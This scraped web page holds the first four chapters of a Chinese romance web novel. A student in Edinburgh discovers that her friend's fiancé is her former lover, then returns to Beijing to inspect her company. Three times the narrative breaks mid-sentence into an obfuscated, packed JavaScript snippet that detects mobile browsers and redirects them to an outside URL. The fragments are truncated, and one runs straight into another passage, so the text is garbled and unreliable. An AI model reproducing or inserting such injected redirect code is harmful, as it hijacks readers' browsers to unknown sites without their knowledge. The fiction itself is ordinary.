《双重偶然[破镜重圆]》 1. 第 1 章 社会信息系统是一个具有双重偶然性(doublecontingency)的系统。双重偶然性是指传播的双方都存在着不确定性,因此,通过传播作出的选择有受到拒绝的可能性。——尼克拉斯·卢曼 爱丁堡,多云,6-19°C。 经过一连数日的阴雨天气,天空久违的见了点晴。 街角的咖啡店一时间人满为患,灰黑色石砖垒成绵延建筑,就连室外的铁栅栏旁也三三两两地坐着不少行人。 这条街后边就是当地最顶尖的学府,也因此这家店的客人以学生为主。 咖啡店的二楼今天不对外开放。 有人早早就预定了场地使用权,除了室内空间外还延伸出一截露台,上面摆了几张零散的桌子,均有人落座。 其中最为显眼的是最靠东的一张。 倒不是因为装饰如何,而是坐在那儿的女士实在出众,路来路往的人不免要抬头打量几眼。 偶尔会有人朝她打招呼,一声“Meng”便能引起她的注意。 听到有人唤她的名字后,她总会下意识地用白净纤细的右手抚过散在脸边的碎发,腕上挂着的朱砂石会随着动作落在小臂一半的位置,红白交映。 然后将视线由电脑屏幕移动至声源处,用她如墨漆染的眼辨认几秒微微颔首回应一句。 没有人关心她回了句什么。 大家都流连于她的一举一动,尤其是在总是云雾低垂的这片天空下。 沈棠溪在预定时间的前十分钟到场。 和同学们打完照呼后便看到孟慈一个人坐在室外的桌子上敲打键盘。 四周的目光几乎以她为圆心而流转,偏偏她一概视而不见。 本来就少得可怜的阳光再次被挡住。 孟慈停下于键盘上翻飞的手指,抬头看到沈棠溪,语气中似有几分亲昵:“回来了?昨晚一直下雨,还怕你航班会延误。” 沈棠溪笑着说确实延误了,但是也就一个小时,不耽误什么事。 她说到一半像是想起什么,从限量的手提袋里把从国内带来的糖盒拿出来放到孟慈面前,用刚做的满钻美甲往前推了几寸。 孟慈正在给自己的小论文结尾,没注意看,“什么啊?” “喜糖,我订婚了。”沈棠溪叹了一口气。 抱怨自己的父母逼的紧,根本没征求自己的意见。 她一边给孟慈展示自己的订婚礼,一边说她们这种人压力都在暗处。 孟慈看到沈棠溪这幅煞有其事的模样勾唇笑了一下。 她来留学的时候在课堂遇到的第一个中国人就是沈棠溪。 后来发现两个人分在一个学习小组,关系逐渐拉近。 相处期间倒也能多少猜出沈棠溪的家世背景,穿金戴银含着玉吊坠出生的人能有什么压力。 孟慈终于停止打字,她伸手探过糖盒,目光落在沈棠溪手腕上的那支翡翠手镯上,通透澄净的玻璃种,光打上去像是一汪清泉,她公式化地提问:“人怎么样?” 沈棠溪思考了几秒:“还可以吧,饭桌上见了一面。” “感情可以培养。”孟慈挑着不出错的话回复,毕竟世事难料,谁知道沈棠溪会不会和她未婚夫日久生情。 “可以培养?”沈棠溪拿过孟慈面前的咖啡喝了一小口,猛得皱眉,“你怎么老喝这么苦的?” 孟慈把一旁自己没吃几口的华夫饼往沈棠溪面前推,又取了一只新的小叉子递过去。 沈棠溪接过来挖了几口,紧皱的眉头才舒展。 然后继续反驳:“我看你旁边的男孩子也不少呀,要脸有脸,要钱有钱,还每天围着你打转,你怎么不尽早培养一个?” “不喜欢。”孟慈提前定好的闹铃提醒响了,她把电脑关机收回包里。 沈棠溪看着眉眼如画的孟慈可惜道:“可惜了我是个女的,不然把你娶回家刚好。” “那还真是可惜了。”孟慈把喜糖也收到包里,她一会儿还有中文节课要去当助教。 余光扫到了孟慈包里的教科书,沈棠溪问:“还在当助教啊?” “嗯,答应白老师一直到这学期结束,一会儿我就先走了。” “不是我说,你不缺钱也不缺脑子,干嘛非要干这种费力不讨好的活儿,明年看着就要毕业了,你应该多空出点时间和我们出去溜达溜达,等回了国哪还有这么多时间出来玩,顺便再谈几个男朋友,我看前段时候追你那个学长就挺不错,他家和我家有不少业务往来,我给你打听过了,人品没得挑……哎!你别走啊孟慈……” 听到多谈几个男朋友的时候,孟慈就已经站起身拎着包离开了座位,期间还不忘把小费压在桌面。 孟慈和场上众人大致打了招呼后便沿着楼梯离开。 返校的路上碰到同学,孟慈不可避免地被绊住脚聊了几句。 一来二去的进教室时距离上课只剩五分钟了,还好白清来得早。 今天的课程安排是随堂测验,学生们已经隔位就座。 孟慈走到讲台跟前和白清说抱歉,把自己的包随手扔在一边的木地板上,着手清点试卷。 白清则一副不必惊慌的模样,指着教室里的电子表说还有时间,同时从讲台下拿着一个纸袋放到孟慈面前。 孟慈点完试卷数量才有时间翻看纸袋里的东西,问道:“这是?” 白清笑着说:“我老婆做的牛肉酱,肯定比你家的阿姨做的好,你拿回去试试,好吃再给你带。” “谢谢老师。”孟慈把纸袋收到自己身边,心里盘算着下次的回礼要用什么才合适。 考试期间白清接到院长的电话,说是要和他商量一下增开课堂、新招教师的事,白清安顿了孟慈一番后便匆匆离去。 墙上的电子钟表一帧一帧地变换数字,老旧的下课铃声准时响起,学生们纷纷交卷离开。 期间不免有几位心思起伏的想要约孟慈吃个饭,通通被孟慈婉拒,即使语言客气,但她的眉眼间却写着生人勿近。 晚上沈棠溪组了局,说是要庆祝自己从此以后“名花有主”,马上就要过上吃穿不愁的富太太人生。 虽然她现在就是。 聚餐地点定在距离孟慈家仅隔一条街口的地方。 沈棠溪放话要是孟慈不来就半夜带着人去家里抓她,顺便把她家花圃里种的郁金香都拔掉。 这群每天都纸醉金迷的少爷小姐们可没什么不敢做的。 孟慈到了之后大家已经喝了半场。 她找了个角落悄悄坐下,想着一会儿和沈棠溪打个招呼就找机会离开。 但是她不知道的是自从她一入场,就有不少目光紧跟着粘了上来。 还没等孟慈在昏暗的餐厅里找到沈棠溪的身影就已经收到了今晚的第一杯酒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345806|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她抬眼去看,好像是之前在白清的课堂上见过的学生。 “Lucys?”孟慈不太确定的开口。 “对,你还记得…我的名字…”Lucys努力地用中文交流,期间不免磕巴。 “我觉得……你很美……就像老师教的,有位…有位一人……” Lucys说得费劲,孟慈也听得难受,她在想用什么方法能快速地解决对面的追求者。 “有位伊人,在水一方。”身后传来一道男声,补充了Lucys想说的内容,同时为孟慈解了围,“不好意思,她今晚约了我。” 梁漠站在孟慈身侧,笑着请人离开。 “学长?”孟慈循着声音见到来人微微起身。 梁漠伸手按住孟慈的肩膀,坐在孟慈对面。 他比孟慈大一届,又和孟慈来自一座城市。 两个人的关系在一众“狐朋狗友”中间也算亲近。 当然,亲近的前提是梁漠乐于维护兼容。 也就无所谓孟慈从始至终摆出的疏离模样。 “收到了吗?”梁漠好似想起什么,喝到一半的酒突然扭头和孟慈比划。 “喜糖?”孟慈咽下嘴里的玛格丽特,“收到了。” 刚刚回家没来得及换包,孟慈从包里摸了几把,找到后把糖盒递给梁漠。 “谢啦,今天的酒没醒到,太涩了。” 梁漠就着台桌上的蜡烛光拆开包装,随意取了一颗出来。 梁漠拆开糖纸往嘴里一扔,说味道还不错,问孟慈要不要来一颗。 孟慈摇头。 她伸手接过剩余的,盒体的触感极好。 也许上面绑着的装饰带还真是纯金制作。 “你们俩在这儿偷偷喝酒不过来是吧?”沈棠溪的声音大老远地就传过来,拉着长调,尾音也有点飘,听上去已经喝了不少。 那边梁漠已经起身迎向沈棠溪。 孟慈刚准备关上糖盒突然摸到几抹凹痕,应该是人名。 她随意扫了一眼,却不想目光就此被吸引,一时间没逃得开。 沈棠溪的名字前面跟着她未婚夫的名字。 季曲。 楷书文体,铂金烙印。 故乡陆地总面积约九百六十万平方千米,三十四个省级行政区,生活着十四多亿人。 同名同姓的何其多。 忽略心跳漏掉拍的瞬间,孟慈猛地抬头看向富贵明媚的沈棠溪。 如果自己没记错的话,她说她的未婚夫是北方人,比她大三岁,家族绵延至今已有数代。 香火繁茂,富甲一方。 沈棠溪那边刚和梁漠打完招呼便看到孟慈一个人杵在原地,双眼失焦像是蒙了层薄雾。 她往孟慈跟前走了两步,隐约看到孟慈手里好像拿着她的喜糖。 在沈棠溪即将看清孟慈手里到底拿着什么东西的时候,孟慈又突然恢复正常,她把糖盒塞回包里,端着桌上还剩的半杯酒走上前,一贯清冷的眉眼间少见的带了些笑。 孟慈用自己的酒杯轻轻碰了些沈棠溪的酒杯,在嘈杂的重金属音乐中撞出清脆的一声响,“忘了祝你订婚快乐。” 说完,孟慈率先抬颈饮尽了杯子的深色酒液,酒精一路从喉咙烧到胃里,像是咽下一团无状的火。 真是好巧,这么多人。 我爱的人,也是你的爱人。 2. 第 2 章 聚会到凌晨两点才结束。 沈棠溪等人尚未尽兴,叫嚷着要去看太阳跃上海平面的那一刻。 孟慈拒绝, 幸好她一贯是这种作风,大家也不强求她。 梁漠当天还要飞去邻国参加公司的收购项目,便跟着离开。 昏暗夜景里,孟慈一出门就不小心在车水马龙的路边踩了空,她谢绝了梁漠递来的小臂,把滑落到臂弯的包重新背好,抬头看向梁漠说自己没事。 她上挑的眼尾沾了点酒气,像是熨了片红霞于雪白皮肤下。 孟慈人长的美是众所周知的事,但是梁漠仍不由得看呆了一瞬。 再回神时,孟慈已经走出三五米远,梁漠揉了把脸,连忙跟上。 暗自量着孟慈的步子调整自己的步幅,梁漠找了个话题,“你没事的话可以多和她们一起出去玩玩,她们人都不坏的。” 孟慈看着脚下的石砖,不知道是酒精作祟还是路灯太暗,整得她有些眼花,“我不喜欢。” “不喜欢出去逛?还是……” “不喜欢出去,我更喜欢自己待着。” 谈话间两人已经走到孟慈家门口,孟慈在原地站定,丝毫没有邀请人进家坐坐的意思。 “为什么啊?小姑娘不都喜欢拍拍照、吃吃美食,总不能真的每天窝在教室学习吧?”梁漠站在原地和孟慈对话,也许是今晚月光朦胧,以至于显得孟慈也温柔近人几分。 花园里的灯亮了,阿姨披着毛衫拎着小提灯来门口接人,鞋底与小径碎石的摩擦声传来,孟慈松了口气,“我先走了学长,今天还有早课。” 梁漠依依不舍,咽下满肚子的话,“哦……行,那回国见。” 孟慈已经和阿姨离开,只留下一抹倩影晕在夜色中。 阿姨住在一楼,二楼都是孟慈自己使用。 孟慈洗完澡出来床头已经放了一杯热牛奶,里面还加了盏燕窝。 她端着杯子窝在窗台旁的真皮沙发里。 手机里是安娜发来的一连串未读消息,明晃晃地挂在页面最上方。 看了眼时间,国内应该刚过晚上八点。 还没等看完未读消息,安娜的视频电话就硬生生地插了进来。 等了几秒,孟慈才接起。 那边同样的灯红酒绿。 “宝贝,你到底订了哪趟航班?我去接你啊~”安娜精致动人的脸庞怼在镜头前,笑得没心没肺。 “我还不确定回去。”孟慈淡淡地捻灭安娜的热情。 “不行宝贝,你必须回来~你又不是不知道我和那个女人打擂台,你得给我回来撑场子,要不然明年清明我都没脸给我妈上坟!”安娜霎时间换上一副爹不亲娘不爱的凄惨模样。 安娜的妈妈数年前由于身体原因病逝。 爸爸三年之后娶了第二任妻子。 就时间线上说来没什么问题,只不过这位妻子进门时还带着一位九岁的儿子,而且经过亲子鉴定,这位儿子还真是安家血脉无疑。 这种桃色轶闻在上流社会并不少见。 但安娜性子本就直接泼辣,一知道这件事就直接拿着高尔夫球杆把家给抄了。 虽然阻止了安东升想要大摆宴席的念头,但也没能挡得住那个女人领着儿子进了家。 “你去不去?你是不是在外面有人了?!孟慈老娘今天把话撂这儿了,你要是不回来我就连夜飞去把你家抄了信不信?!” 孟慈看着屏幕里张牙舞爪的安娜,无奈地说:“我去没用的呀。” 后半句孟慈没说,她早就已经没本事给安娜撑场子。 窗外不知道什么时候飘起了雨,顺着敞开的窗户缝落到了孟慈的手背,凉丝丝的。 这幢房子的年龄不小了,隔音效果也不算好。 不知道会不会吵到阿姨休息,孟慈把手机音量调小两格,又站起身把窗户合上。 “什么?宝贝你说什么?”安娜这边不知道谁在酒桌上开始起哄劝酒,一时间盖住了孟慈的声音,信号好像也断断续续的。 安娜心下一烦,随手把手里的酒杯朝喧闹处扔了过去,“都小声点!喝了多少啊醉成这样?!” 圈子里的都知道安娜的脾气,大家你看看我我看看你,一时间也安静几分。 “我说我去没用的呀……” 孟慈的声音从听筒里传出来,清脆悦耳,像是新闻联播的女主播代班深夜电台,哪都好,但就是格格不入。 “宝贝……”安娜还想磨人,孟慈的性子她再清楚不过。 孟慈察觉到这一点,连忙挂了电话,“我还有早课,再联系。” 赵一辰和安娜从小就一起玩着长大,两家是世交,业务上也有不少往来。 这种时候赵小公子当仁不让地要承担“灭火”工作。 他坐到安娜旁边的椅子上,小心翼翼道:“你们家孟慈宝贝不回来哈?” “不说话会死吗?”安娜随手把手机一扔,眼皮都没抬,反手在桌子上寻新酒具。 “她主要也不好回来吧,毕竟季家那边好像要来……” “我不知道季家要来?你以为我不知道季家要来?两年前我就看季曲不爽……” “哎哎哎祖宗你可别乱说话!” 早在安娜出现那副不耐烦的神情时赵一辰就准备好捂住她那张总会坏事的嘴,旁边都是认识人,谁知道哪句话会插着翅膀越过墙飞到哪片胡同去? 他可听说季曲今晚也在隔壁招待人。 赵一辰连忙劝道:“那位可不能随便编排,你想骂骂我好了!” “滚开!”安娜狠狠推开赵一辰捂在自己脸上的手,还拿起一旁的纸巾擦了擦,好像沾到了什么脏东西。 孟慈和季曲的那段大家其实都心照不宣。 两个人算起来也没好多少日子,一年都是四舍五入凑的。 但是季曲确实实打实地宠着孟慈。 当时两人相识在季家产业下的一家私立医院。 孟慈把人当成了医院的大夫,季曲也没说破,第二天就叫人收拾了个屋子用来“坐诊”。 他们这帮人还被临时摇号去充当过病号,安娜和孟慈就是那时认识的。 时间一长当然会露馅。 不过不是因为季曲学外科知识学的太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345807|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢,而是因为孟慈太聪明,在好几处都寻到了端倪。 自从那之后季曲就不装了,更是毫无节制地宠着捧着。 那句话怎么说的? 授人以鱼不如授人以渔。 当赵一辰他们这种纨绔子弟还停留在爱她就要给她买鞋买包的时候,季曲就已经牵着孟慈的手亲自带她下场捞金了。 不过孟慈确实聪明能干,不到小半年就赚得盆满钵满。 不知道该说她运气好参与的项目都高开高走,还是该说资本家冲着季曲的面子都做了顺水人情。 反正孟慈一时间也成功地打入了上层圈子,名利双收。 故事的最后当然也是这个圈子的一贯老旧套路。 季曲身边出现了青梅竹马的对象,不小心被孟慈撞到了。 孟慈也是个倔脾气,走的那叫一个爽快,公司里的事全部放手放权,只留个股份年底分红用,其他的一概不参与。 季家家大业大。 季曲一年四季在天上的时间比在地上都多,他哪里有闲情逸致追上去哄。 追名逐利的人们,大多薄情寡义。 所以两个人的故事也就到此为止。 一段露水情缘罢了。 “我觉得人孟慈说的也没错,她来了也没用,而且你后妈也没怎么和你对着来啊,你弟弟生日不也就是在家办家宴?你看看薄娴她们家,前段时间给她小侄子过个周岁宴几乎把咱们身边所有叫的上号的都搬到她们家酒店了,差点都放不下。”赵一辰还在旁边不断地试图劝服安娜。 “你快闭嘴吧。”安娜懒得废话,终于在场上找到合适的杯子,率先抬了一杯。 孟慈怎么能和他们这群人一样。 她几乎是在安娜最绝望烦躁的时候找来的朋友。 那时安娜几乎每天都要和家里吵架,大哥在的时候还好,总有人给她撑腰,但是大哥工作忙,安娜就少不得吃亏。 后来孟慈已经做起来不少项目,也就搭桥牵线给安娜扔了几个合适的。 一方面是让安娜有个消耗精力的地方,另一方面也是帮安娜在集团里站住脚,最起码自己能给自己做主。 安娜喝得有些上头,突然想起来前段时间大哥说季曲订婚了,对方是上海人。 她把喝得满场飞的赵一辰拉到自己身边,悄咪咪地问了一嘴。 赵一辰眯着眼想了一会儿,才说确实有这么个事,季老爷子搭的线,连季曲和他爸妈都插不上话。 安娜没再继续话题,喝了一会儿后,才又看起来忍不住似地开口:“不是,季曲真放下我们孟慈了?” 赵一辰喝得有点大了,一边说一边夸张地伸出两根手指晃晃,“都过去两年了祖宗,你去问问当事人估计都要不记得对方了。” 得到的答案不是心里所想,安娜摆摆手让赵一辰闪到一边玩去,她就不该问这个问题。 毕竟赵一辰前两天喝酒时看上了隔壁包间的一个姑娘,非让大家一起去看看,结果大家打眼一看怎么看怎么像他去年冬天领出来那个,上去一问,还真是。 男人都是靠下半身思考的动物,无一例外。 3. 第 3 章 窗外的雨越来越大,打在玻璃上声声作响。 偶尔来的闪电会照亮屋子里的某个角落。 孟慈躺在床上用被子盖住头也无用。 思绪越来越杂,无数个时间点在脑海中反复上演,睡意全无。 床头的手机震了一下。 孟慈伸手探过来,是白清发到邮箱里的课堂讲义。 他总是喜欢在深夜处理工作与脑海中一闪而过的灵感,邮件末尾附着“不好意思打扰你休息了”诸如此类的客气话。 没有被打断睡眠的烦躁感,孟慈反而觉得松了一口气。 她伸手拉亮床头的老式台灯,立起一只枕头放在背后,开始查阅邮件内容。 一时间没察觉,雨渐渐停了下来。 直到第一缕晨曦漏进屋子,孟慈才抱着手机入睡。 出来读书后,孟慈的睡眠质量始终很糟。 早起,阿姨看到孟慈眼下的乌青暗自记下最近要做些调理身体的餐食,顺带再问问国内那边,有没有什么调理睡眠的药方可以一起用。 过了一周。 白清宣布他的中文课要暂时停一个月,他要回国参加一个学术讲座。 本想把课程交给孟慈讲授。 偏偏她也有事,这个想法便只能作罢。 “有什么要带的吗?我这次能呆一段时间,火锅底料?还是什么?”白清下课之后把孟慈留下。 孟慈整理好学生的书法作业装到包里,才给出答案,“我没什么需要的。” 白清不死心,说孟慈可以慢慢想,随时给他发消息。 看着执拗的白清,孟慈原本想告诉他自己也会回国一趟,但是白清不免又会再问上几句。 思来想去,孟慈只是点了点头,说自己会认真考虑。 又过了一周,孟慈连熬了三个大夜搞定了学期小考,交了十几份的报告上去。 阿姨眼看着孟慈的气色一天比一天差,等不到国内的方子过来,连忙搞了一堆食材在家煲汤给孟慈补身子。 恰逢休息。 还没等下楼孟慈就闻到了浓浓的药材味,她看了眼在厨房忙碌的阿姨,问:“在煮什么啊阿姨?” “乌鸡汤,还放了当归人参,都是好东西。”阿姨看孟慈下楼立马打了一碗从厨房端出来,“趁热喝,我都熬了一天了。” “您也喝些。”孟慈接过坐在餐桌前准备进食。 “我先去给你收拾行李,后天的飞机吧?到时候我给你约车,你快喝快喝,凉了就没效果了。” 阿姨一边说一边上楼,动作利索。 闻着冲,喝起来倒是鲜。 孟慈坐在餐桌上不知不觉就喝了大半碗。 刚想要不要再添一些时,手机响了,拿起来一看是国内的秘书。 电话接通,方萤的声音传来。 “孟总,和您再确认下航班信息,我到时候去机场接您。” 孟慈这才有了要回国的实感。 毕竟自从两年前离开北城外出读书,自己几乎再也没回去过。 方萤尽职尽责地做好接待老板的准备工作,照着提前罗列好的事项征求孟慈的意见。 “咱们直接去公司吗?还是您要先回家休息?我已经联系阿姨给您把房子都打扫了一遍,您打算住哪套?” 孟慈在脑海中过了一遍自己的房产,说:“直接去公司,住的话就住绿墅那套吧,离公司近。” 方萤又问了几个问题,孟慈一一作出决断。 挂断电话,碗里的汤已经凉了。 油花凝固在表面,变成大小不一的圆泡。 孟慈的胃口瞬间消失。 “都是些你常用的东西,家里更应该什么都不缺,你要不要再看看?”阿姨刚好拎着箱子从楼上下来。 “不用了,您收拾我放心的。” 孟慈把碗拿到水池边冲洗干净,放到一旁的水槽上等阿姨收拾,她并不知道阿姨的摆放规矩,也就不徒增人家的工作量了。 转眼间就来到了归国日。 安娜不知道从哪淘到了孟慈要回国的消息,在手机里一顿狂轰乱炸说要来接机。 孟慈干脆没回,她还不想这么快就和旧日友人再次重逢。 有的事,能拖就拖着。 随着飞机起飞,地面上的景物消失不见,云层占据整个视线。 拉上挡板,孟慈喝了颗褪黑素,在空姐的温柔播报中陷入睡眠。 - 北城,晴,10-18°C。 孟慈的航班落地时刚好碰上落日。 整个机舱都被暧昧温吞的黄昏浸染,漂亮的颜色似乎在说今天真是个好天气。 北城一到秋天昼夜温差就飞速变大。 身上的洋装套裙显然挡不住晚风侵袭,孟慈摸了摸自己裸露在外的双臂,上面爬了层鸡皮疙瘩。 意外的是,通道尽头只有方萤在等着。 她递上提前准备好的外套,接过孟慈手里的行李箱带路,“安娜家里临时有事,所以没跟着来,但是我也不知道她怎么知道你今天回来。” 孟慈看着拉着行李走在前面的方萤,整个人精干利落,她说:“辛苦了,替我看着公司。” 听到这儿,方萤才停住脚步,回头看了孟慈一眼,脱下精英人士的冷漠外表,眼睛不自然地眨了几下,“和我客气什么啊……” 方萤当初刚刚毕业就到各大公司应聘。 明明自己发挥也很好,考官也都满意,但就是面不上正经岗位。 找来的都是各种“二十四小时”在线的特殊岗位。 方萤几经崩溃时恰巧碰到了孟慈。 那时,方萤刚刚从上一家公司把自己的简历从垃圾桶里刨出来,上面还沾着不知道哪种食物的污渍,褐黄一片。 她站在写字楼的大门口,犹豫着要不要冒雨离开。 孟慈恰好出现,她给了方萤一把伞。 可能是接收到陌生人的善意,方萤“哇”的一声哭了出来。 她前言不搭后语地诉说着自己的经历,孟慈就站在她身边默默的听着。 听到最后,孟慈问她能不能看一眼方萤的简历。 方萤捏着手里皱皱巴巴的几页纸,没好意思递出去。 但是孟慈主动地从方萤手里抽出简历翻了翻,没几秒钟就给方萤下了offer。 她说她缺一个秘书,问方萤愿不愿意试试。 还递给她一张名片让她考虑。 没等方萤从意外中反应过来,孟慈就被人撑伞接走了。 面前不知道什么时候停了辆连号车牌的奥迪。 不过从车子离开后地面的干爽程度来看,停留的时间一定不算短。 方萤反复看着手里的名片,过了良久才自言自语道:“碰到明星拍戏了?还是真人秀?” 不怪方萤这么想。 毕竟这么偶像剧的桥段,再配上孟慈和季曲的外形条件。 应该没人不发懵。 但是偶像剧和现实毕竟存在天壤之别。 那是方萤第一次见孟慈,也是第一次见季曲。 她始终记得西装革履的季曲一只手撑伞缓缓走近,神色淡薄,眉目却深邃多情,身形英挺,比漆黑流畅的伞骨都要挺拔几分。 季曲的注意力从始至终只停留在孟慈身上,仿佛周遭的一切都不值得他另眼相看。 秋细雨濛,凉意不绝。 季曲将臂弯的羊呢大衣披在孟慈身上,一直遮到孟慈小腿偏下的位置,只露出白净的一截皮肤。 他挥手将孟慈揽进怀里,伞面向她倾斜,而后便小心翼翼地护着人上车,就连孟慈脚上的高跟鞋都未曾沾染一丝水汽。 那双鞋看起来最少十厘米起。 方萤低头看看自己脚上不过五厘米左右的鞋跟,摸了摸自己酸胀的脚腕,不由得心生佩服。 但是转念一想。 像孟慈这种人,也许根本不用走什么路。 …… 孟慈浅笑,将瘪着嘴的方萤拥进怀里,“辛苦你了,幸亏有你。” 独留一个女孩子在这儿要替她在这面对那一群“豺狼虎豹”。 每每想到,孟慈都觉得自己对她不住。 收住情绪,方萤从孟慈的怀里出来,故作精明地理了理本就没乱的发丝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“老刘你这就肤浅了吧!咱们孟总可是出国进修的,怎么你只能看到外表啊?” 看着眼前虚与委蛇的一众人,孟慈不动声色地在最中央的位置落座。 “这次回来呆多久啊?给咱们公司提提意见?” “我记得孟总不是要读三年书吗?就是回来看看我们吧?” “先让小孟吃点东西,坐了这么久飞机肯定累了,快尝尝咱们家乡的菜,解解馋。” 黄景峰当初是第一批入职的,年龄和资历都比孟慈长了一大截,季曲也从各方面考察过才推荐给孟慈,因此始终充当着拐杖的角色,帮着孟慈和公司一步一步地走到现在。 “谢谢峰哥。”孟慈接过黄景峰递过来的汤羹,用勺子搅了搅。 一顿饭下来,孟慈把现状摸了个差不多。 毕竟耳听和眼见还是有一定出入的,不像方萤说得那么严重,但是也确实出了问题,自己确实有回来的必要。 饭毕,黄景峰送孟慈上车,“明天去公司看看?这两年招了不少新人,也让他们认认自家领导。” 孟慈想了想,觉得可以,“明天下午吧。” “行,我回去安排。” 孟慈坐上车后黄景峰还依旧停在一旁。 按下车窗,孟慈的身子往外探了几分:“峰哥还有什么想说的?” 黄景峰讪讪一笑:“没什么,就是明天去了公司,肯定有点变化,你多担待,有问题就问我。” 这是怕孟慈当场给人下脸子了。 孟慈心里有数,宽慰道:“您放心,只要不耽误我挣钱,不干那些违法乱纪的勾当,我一律当看不见,还是当初说好的,公司的决策看您,方萤代表我个人。” 话说到这儿,黄景峰悬了一晚上的心陡然跌回肚子里,“那你路上慢点,明天在公司等你。” 孟慈颔首,合上车窗示意司机可以离开。 做生意嘛,种瓜得瓜,种豆得豆,努力了多少,自然能得到回报。 和感情可就不同了。 4. 第 4 章 第二天的参观之旅还算圆满,一看就是上下敲点过,整体看下来称得上稳中有序。 黄景峰专门组织了一场会议,让各部分负责人汇报当下的项目进展和未来规划。 正式开始前孟慈先回自己的办公室休息。 方萤提前去会议室准备材料。 自从孟慈外出求学,诺大的办公室便始终空置着,站在落地窗前能眺到不远处的老皇城,正正的龙脉穿过城市脉络。 这还是季曲当初千挑万选定下的。 用他秘书的话来说,比他自己购置房产都上心。 看了一会孟慈有点发困,因为时差原因她几乎整晚没睡。 没记错的话不远处有一个茶水间。 孟慈打算自己冲点咖啡。 毕竟大家看起来都很忙,也不知道是不是做给她看。 咖啡机正在萃取,液体一点点地汇到杯子里。 孟慈用食指和中指掐了掐眉心,困劲久久不散。 还没等杯子接满咖啡,身后便传来动静,孟慈侧过脸瞥了一眼。 张超是马明老婆家的侄子,去年刚被招进来,自诩在某家集团担任过重要职位,没等干出成绩就被提拔为部门经理。 毕竟是领导家的亲戚,大家也就睁一只眼闭一只眼过去了。 刚从外地签了一个大单回来。 张超想着去和黄景峰汇报前先和马明打个招呼,毕竟合同条款里的某些内容有点水分。 但是马明不在办公室,他打电话过去也没人接。 远远地看茶水间里有人站着,应该是自己不在这段时间新招的员工,毕竟这层楼就只有几位老总在用,自己都眼熟。 光看背影就知道这人一定漂亮,但是孟慈转头时候张超还是被惊艳到。 “你是新来的?我是市场部经理张超,前段时期出差了,你应该没见过我。”张超紧了紧领带。 男人总喜欢和漂亮女人搭讪。 孟慈没说话,机器发出提示音,咖啡好了,她伸手端起杯子就要离开。 “哎,等等,不是员工?”张超见人要离开立马伸臂拦住,“是我们合作的哪家代表?不好意思我这人记性不太好。” 张超一边说一边掏出名片递到孟慈面前,垂眸扫了一眼,孟慈接过。 在张超还想开口的前夕,方萤的电话打过来,说一切准备就绪,孟慈可以下来了。 没给张超开口的机会,孟慈推门离开。 没一会儿张超便接到马明的电话,说是大老板回来了,让他先到会议室来。 张超只在大家口中听到过关于孟慈的内容。 最盛行的版本是大老板是某位人物养着玩儿的,分手时给了间公司作为补偿。 黄景峰和孟慈走的最近,但是每每闲聊提到却又立马闭口不谈,整得大家更是好奇。 张超推门进去的时候大家已经差不多坐满了,他赶忙来到自己的位置坐下。 缓了口气才借着寒暄的由头抬头往会议桌尽头望去,他心中霎时一惊,这不是刚刚在茶水间见到的那位? 见侄子看着孟慈愣在原地,马明连忙咳嗽了几声喊人回神,也不是没见过世面的毛头小子,怎么这么丢人。 孟慈正坐在椅子上等待会议开始。 杯中的咖啡就喝了几口,强烈的苦涩感让她精神了不少,葱白指间摆弄着刚刚收到的名片,质感还不错,摸上去有一点纹理,和路边印发的小广告不同,没有到手就扔的欲望。 “你的名片什么样?”孟慈突然抬眸看向方萤。 “名片?”饶是奇怪方萤也从公文包里掏了一张自己的递到孟慈手里。 把两张名片放在一起比对着看。 果然是一个公司出来的。 风格用纸都大差不差,唯一不同的可能就是方萤的带着一点晚玉香。 时针与分钟表盘上重合。 孟慈把两张名片合在一起递给方萤,然后宣布会议开始。 会议中孟慈几乎都没发言。 她只是安静地坐在首位,偶尔会点头附和。 眉眼间分辨不出她的情绪。 比起运筹帷幄的精英老板她更像某位大家工笔画中的精致人像。 一场会议下来。 “金丝雀”的名号在众人心中更加坐实几分。 “散会吧,我没什么要说的。”孟慈低头审阅看各部门交上来的材料,让方萤安顿大家散场。 “怎么样?有什么不满意的吗?”黄景峰带着一众管理层留在座位上等孟慈安排。 “没什么。”孟慈将文件挨个翻阅完毕又工整地放回桌上,“大家辛苦了,帮我撑着公司。” 不知道是夸是讽,黄景峰一时间没敢立马作答。 那边孟慈已经从椅子上起身。 方萤还另外预约了礼服的试穿,已经比预定时间晚了不少。 “我还要有点事,你们自便,吃个加班餐也可以,费用算我的。” - SH是北城圈子里出名的设计室。 幕后总监Tina长于人际关系建设。 即使孟慈两三年不在国内也依旧能收到生日礼物和节日问候。 意外的是,Tina临时爽约。 这个消息还是设计室前台代为转达的。 孟慈拒绝方萤要换家设计室的提议。 毕竟她也不是什么主角。 要不是安娜知道自己回来了的消息,她根本不会出席什么生日宴。 前台见状立马找了一位造型师接待。 看起来比孟慈还要小几岁的样子。 